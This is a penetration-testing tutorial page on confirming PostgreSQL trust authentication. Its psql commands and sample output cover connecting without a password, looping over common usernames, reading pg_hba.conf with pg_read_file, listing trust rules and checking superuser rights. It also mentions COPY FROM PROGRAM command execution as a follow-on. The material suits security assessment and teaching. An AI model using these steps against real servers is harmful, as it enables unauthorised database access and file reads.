Skip to content
HackIndex logo

HackIndex

PostgreSQL Trust Authentication Detection

3 min read Mar 26, 2026

PostgreSQL's pg_hba.conf file controls which hosts can connect to which databases with which authentication method. When the method is set to trust for a host entry, any connection from that host is accepted without a password regardless of which user is claimed. Trust authentication is commonly used for local connections and sometimes misconfigured to cover broader network ranges. Confirming it is active from your source IP gives immediate database access with no credentials required.

Test for Trust Authentication

Attempt a connection as postgres with no password. A successful connection with no prompt confirms trust authentication is in effect for your source IP:

┌──(kali㉿kali)-[~]
└─$ psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c 'SELECT current_user;' 
 current_user
--------------
 postgres
(1 row)

No password prompt and a successful query result confirms trust authentication. Test additional common usernames — trust may apply to specific users or databases rather than all connections:

┌──(kali㉿kali)-[~]
└─$ for user in postgres admin app webapp replication backup readonly; do result=$(psql -h $TARGET_IP -p ${PORT:-5432} -U $user -d postgres -c 'SELECT current_user;' 2>&1); echo "$user: $(echo $result | grep -q 'current_user' && echo TRUST || echo denied)"; done

Read pg_hba.conf if Accessible

With superuser access the pg_hba.conf file can be read directly through PostgreSQL to understand the full scope of trust entries:

┌──(kali㉿kali)-[~]
└─$ psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c "SELECT pg_read_file('pg_hba.conf');"

pg_read_file is restricted to superuser accounts and reads files relative to the PostgreSQL data directory. If it returns content, look for lines containing trust in the method column. A trust entry covering a broad CIDR range or 0.0.0.0/0 is a critical misconfiguration affecting any host in that range.

Query the pg_hba_file_rules View

PostgreSQL 10 and later expose pg_hba.conf entries through the pg_hba_file_rules view which is readable by superusers:

┌──(kali㉿kali)-[~]
└─$ psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c "SELECT type, database, user_name, address, netmask, auth_method FROM pg_hba_file_rules WHERE auth_method = 'trust';" 
 type  | database | user_name | address     | netmask         | auth_method
-------+----------+-----------+-------------+-----------------+-------------
 host  | all      | all       | 0.0.0.0     | 0.0.0.0         | trust
 local | all      | all       |             |                 | trust

A trust entry with address = 0.0.0.0 and netmask = 0.0.0.0 means trust authentication applies to all hosts. An entry scoped to a subnet still affects every host on that subnet. Any trust entry covering more than localhost is a finding worth documenting — it enables unauthenticated access from any IP within the covered range.

Check Privilege Level of the Trust Account

Once trust authentication is confirmed, immediately check what privileges the accessible account holds:

┌──(kali㉿kali)-[~]
└─$ psql -h $TARGET_IP -p ${PORT:-5432} -U postgres -d postgres -c "SELECT rolname, rolsuper, rolcreaterole, rolcreatedb, rolcanlogin FROM pg_roles WHERE rolname = current_user;" 
 rolname  | rolsuper | rolcreaterole | rolcreatedb | rolcanlogin
----------+----------+---------------+-------------+-------------
 postgres | t        | t             | t           | t

rolsuper = t confirms superuser access without a password. This enables COPY FROM PROGRAM for OS command execution, pg_read_file for arbitrary file reads, and extension loading. All exploitation techniques are immediately available.

References